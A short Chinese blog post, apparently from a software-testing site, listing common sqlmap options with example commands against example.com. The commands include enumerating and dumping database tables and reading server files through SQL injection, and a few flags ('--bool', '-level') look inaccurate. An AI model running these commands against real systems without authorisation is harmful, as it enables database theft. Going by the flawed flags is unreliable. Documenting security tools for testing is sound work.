sqlmap常用参数及示例

发布于:2024-07-02 ⋅ 阅读:(16) ⋅ 点赞:(0)

关注开源优测不迷路

大数据测试过程、策略及挑战

测试框架原理,构建成功的基石

在自动化测试工作之前,你应该知道的10条建议

在自动化测试中,重要的不是工具

以下是 sqlmap 的一些常用 API(参数)及其示例用法:

sqlmap 常用参数列表

目标设定
- -d: 针对一个数据库管理系统的用户提供的 SQL 语句。
  sqlmap -d "mssql://sa:password@localhost/DataBase?driver=SQL+Server"
  • -r: 从一个文件中读取 HTTP 请求。

    sqlmap -r request.txt

测试范围和选项

  • -u: 目标 URL。

    sqlmap -u "http://example.com/index.php?id=1"
  • --risk: 设置测试的风险等级(1-3)。

    sqlmap -u "http://example.com/index.php?id=1" --risk=3
  • -level: 设置测试的技术水平(1-5)。

    sqlmap -u "http://example.com/index.php?id=1" --level=2

配置选项

  • --dbms: 指定后端数据库的类型(如 mysqlmssql 等)。

    sqlmap -u "http://example.com/index.php?id=1" --dbms=mysql
  • --user-agent: 指定 User-Agent 字符串。

    sqlmap -u "http://example.com/index.php?id=1" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"
  • --proxy: 使用 HTTP 代理。

    sqlmap -u "http://example.com/index.php?id=1" --proxy="http://127.0.0.1:8080"

性能选项

  • --delay: 两次请求之间的延迟时间。

    sqlmap -u "http://example.com/index.php?id=1" --delay=5
  • --threads: 定义并发线程的数量。

    sqlmap -u "http://example.com/index.php?id=1" --threads=5

布尔盲注

  • --bool: 强制使用布尔盲注。

    sqlmap -u "http://example.com/index.php?id=1" --bool

数据获取

  • -D: 指定数据库名称。

    sqlmap -u "http://example.com/index.php?id=1" -D yourDatabase
  • -T: 指定表名。

    sqlmap -u "http://example.com/index.php?id=1" -D yourDatabase -T yourTable
  • -C: 指定列名。

    sqlmap -u "http://example.com/index.php?id=1" -D yourDatabase -T yourTable -C yourColumn

操作选项

  • --dump: 转储数据库表的内容。

    sqlmap -u "http://example.com/index.php?id=1" --dump
  • --file-read: 从数据库中读取文件。

    sqlmap -u "http://example.com/index.php?id=1" --file-read="path/to/your/file"

其他

  • -v: 详细模式,显示更多信息。

    sqlmap -u "http://example.com/index.php?id=1" -v
  • -h: 显示帮助信息。

    sqlmap -h